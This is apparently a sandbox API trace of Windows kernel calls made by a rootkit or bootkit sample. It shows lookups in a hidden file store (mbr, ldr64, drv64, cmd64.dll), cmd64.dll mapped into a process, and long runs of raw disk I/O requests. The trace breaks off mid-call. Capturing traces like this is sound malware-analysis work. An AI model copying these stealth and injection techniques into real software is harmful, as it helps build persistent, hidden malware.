[0088.054] _strnicmp (_Str1="ldr64", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0088.054] _strnicmp (_Str1="drv32", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0088.054] _strnicmp (_Str1="drv64", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0088.054] _strnicmp (_Str1="cmd.dll", _Str="cmd64.dll", _MaxCount=0x10) returned -8 [0088.054] _strnicmp (_Str1="cmd64.dll", _Str="cmd64.dll", _MaxCount=0x10) returned 0 [0088.054] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0088.054] KeLeaveCriticalRegion () [0088.054] IofCompleteRequest (Irp=0xfffffa80037c7bb0, PriorityBoost=0) [0088.054] ZwMapViewOfSection (in: SectionHandle=0x14, ProcessHandle=0xffffffff800004bc, BaseAddress=0xfffff88002f9d9d0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0xfffff88002f9da00, InheritDisposition=0x2, AllocationType=0x100000, AccessProtection=0x2 | out: BaseAddress=0xfffff88002f9d9d0*=0x7fffffa0000, SectionOffset=0x0, ViewSize=0xfffff88002f9da00*=0x6000) returned 0x0 [0088.054] RtlImageNtHeader (BaseAddress=0x7fffffa0000) returned 0x7fffffa0040 [0088.054] _snprintf (in: _Dest=0xfffff88002f9d390, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cmd64.dll") returned 18 [0088.054] KeEnterCriticalRegion () [0088.054] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0088.054] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000be7000 [0088.054] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0088.054] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa80037baa70 [0088.054] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0088.054] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0088.054] IdePortDispatch () returned 0x103 [0088.055] KeWaitForMutexObject () returned 0x0 [0088.055] _strnicmp (_Str1="cfg.ini", _Str="cmd64.dll", _MaxCount=0x10) returned -7 [0088.055] _strnicmp (_Str1="mbr", _Str="cmd64.dll", _MaxCount=0x10) returned 10 [0088.055] _strnicmp (_Str1="ldr16", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0088.055] _strnicmp (_Str1="ldr32", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0088.055] _strnicmp (_Str1="ldr64", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0088.055] _strnicmp (_Str1="drv32", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0088.055] _strnicmp (_Str1="drv64", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0088.055] _strnicmp (_Str1="cmd.dll", _Str="cmd64.dll", _MaxCount=0x10) returned -8 [0088.055] _strnicmp (_Str1="cmd64.dll", _Str="cmd64.dll", _MaxCount=0x10) returned 0 [0088.055] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0088.055] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa80037baa70 [0088.055] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0088.055] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0088.055] IdePortDispatch () returned 0x103 [0088.055] KeWaitForMutexObject () returned 0x0 [0088.056] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0088.056] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa80037baa70 [0088.056] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0088.056] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0088.056] IdePortDispatch () returned 0x103 [0088.056] KeWaitForMutexObject () returned 0x0 [0088.056] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0088.056] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa80037baa70 [0088.056] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0088.056] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0088.056] IdePortDispatch () returned 0x103 [0088.056] KeWaitForMutexObject () returned 0x0 [0088.056] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0088.056] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa80037baa70 [0088.056] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0088.056] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0088.056] IdePortDispatch () returned 0x103 [0088.056] KeWaitForMutexObject () returned 0x0 [0088.056] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0088.057] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa80037baa70 [0088.057] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0088.057] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0088.057] IdePortDispatch () returned 0x103 [0088.057] KeWaitForMutexObject () returned 0x0 [0088.057] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0088.057] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa80037baa70 [0088.057] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0088.057] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0088.057] IdePortDispatch () returned 0x103 [0088.057] KeWaitForMutexObject () returned 0x0 [0088.057] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0088.057] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa80037baa70 [0088.057] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0088.057] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0088.057] IdePortDispatch () returned 0x103 [0088.057] KeWaitForMutexObject () returned 0x0 [0088.057] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0088.057] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa80037baa70 [0088.057] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0088.057] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0088.057] IdePortDispatch () returned 0x103 [0088.057] KeWaitForMutexObject () returned 0x0 [0088.058] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0088.058] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa80037baa70 [0088.058] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0088.058] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0088.058] IdePortDispatch () returned 0x103 [0088.058] KeWaitForMutexObject () returned 0x0 [0088.058] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0088.058] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa80037baa70 [0088.058] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0088.058] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0088.058] IdePortDispatch () returned 0x103 [0088.058] KeWaitForMutexObject () returned 0x0 [0088.058] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0088.058] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa80037baa70 [0088.058] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0088.058] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0088.058] IdePortDispatch () returned 0x103 [0088.058] KeWaitForMutexObject () returned 0x0 [0088.058] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0088.058] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa80037baa70 [0088.059] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0088.059] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0088.059] IdePortDispatch () returned 0x103 [0088.059] KeWaitForMutexObject () returned 0x0 [0088.059] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0088.059] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa80037baa70 [0088.059] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0088.059] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0088.059] IdePortDispatch () returned 0x103 [0088.059] KeWaitForMutexObject () returned 0x0 [0088.059] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0088.059] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa80037baa70 [0088.059] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0088.059] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0088.059] IdePortDispatch () returned 0x103 [0088.059] KeWaitForMutexObject () returned 0x0 [0088.059] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0088.059] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa80037baa70 [0088.059] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0088.059] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0088.059] IdePortDispatch () returned 0x103 [0088.060] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0088.060] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa80037baa70 [0088.060] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0088.060] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0088.060] IdePortDispatch () returned 0x103 [0088.060] KeWaitForMutexObject () returned 0x0 [0088.060] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0088.060] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa80037baa70 [0088.060] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0088.060] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0088.060] IdePortDispatch () returned 0x103 [0088.060] KeWaitForMutexObject () returned 0x0 [0088.060] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0088.060] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa80037baa70 [0088.060] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0088.060] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0088.060] IdePortDispatch () returned 0x103 [0088.060] KeWaitForMutexObject () returned 0x0 [0088.060] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0088.060] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa80037baa70 [0088.061] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0088.061] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0088.061] IdePortDispatch () returned 0x103 [0088.061] KeWaitForMutexObject () returned 0x0 [0088.061] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0088.061] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa80037baa70 [0088.061] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0088.061] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0088.061] IdePortDispatch () returned 0x103 [0088.061] KeWaitForMutexObject () returned 0x0 [0088.061] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0088.061] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa80037baa70 [0088.061] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0088.061] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0088.061] IdePortDispatch () returned 0x103 [0088.061] KeWaitForMutexObject () returned 0x0 [0088.061] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0088.061] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa80037baa70 [0088.061] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0088.061] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0088.061] IdePortDispatch () returned 0x103 [0088.061] KeWaitForMutexObject () returned 0x0 [0088.062] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0088.062] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa80037baa70 [0088.062] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0088.062] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0088.062] IdePortDispatch () returned 0x103 [0088.062] KeWaitForMutexObject () returned 0x0 [0088.062] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0088.062] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa80037baa70 [0088.062] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0088.062] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0088.062] IdePortDispatch () returned 0x103 [0088.062] KeWaitForMutexObject () returned 0x0 [0088.062] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0088.062] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa80037baa70 [0088.062] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0088.062] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0088.062] IdePortDispatch () returned 0x103 [0088.062] KeWaitForMutexObject () returned 0x0 [0088.063] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0088.063] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa80037baa70 [0088.063] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0088.063] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0088.063] IdePortDispatch () returned 0x103 [0088.064] KeWaitForMutexObject () returned 0x0 [0088.064] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0088.064] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa80037baa70 [0088.064] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0088.064] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0088.064] IdePortDispatch () returned 0x103 [0088.064] KeWaitForMutexObject () returned 0x0 [0088.064] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0088.064] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa80037baa70 [0088.064] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0088.064] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0088.064] IdePortDispatch () returned 0x103 [0088.064] KeWaitForMutexObject () returned 0x0 [0088.064] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0088.064] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa80037baa70 [0088.064] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0088.064] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0088.064] IdePortDispatch () returned 0x103 [0088.064] KeWaitForMutexObject () returned 0x0 [0088.064] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0088.064] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa80037baa70 [0088.064] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0088.065] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0088.065] IdePortDispatch () returned 0x103 [0088.065] KeWaitForMutexObject () returned 0x0 [0088.065] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0088.065] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa80037baa70 [0088.065] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0088.065] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0088.065] IdePortDispatch () returned 0x103 [0088.065] KeWaitForMutexObject () returned 0x0 [0088.065] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0088.065] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa80037baa70 [0088.065] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0088.065] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0088.065] IdePortDispatch () returned 0x103 [0088.065] KeWaitForMutexObject () returned 0x0 [0088.065] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0088.065] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa80037baa70 [0088.065] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0088.065] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0088.065] IdePortDispatch () returned 0x103 [0088.065] KeWaitForMutexObject () returned 0x0 [0088.066] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0088.066] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa80037baa70 [0088.066] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0088.066] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0088.066] IdePortDispatch () returned 0x103 [0088.066] KeWaitForMutexObject () returned 0x0 [0088.066] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0088.066] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa80037baa70 [0088.066] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0088.066] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0088.066] IdePortDispatch () returned 0x103 [0088.066] KeWaitForMutexObject () returned 0x0 [0088.066] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0088.066] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa80037baa70 [0088.066] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0088.066] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0088.066] IdePortDispatch () returned 0x103 [0088.066] KeWaitForMutexObject () returned 0x0 [0088.066] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0088.066] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, 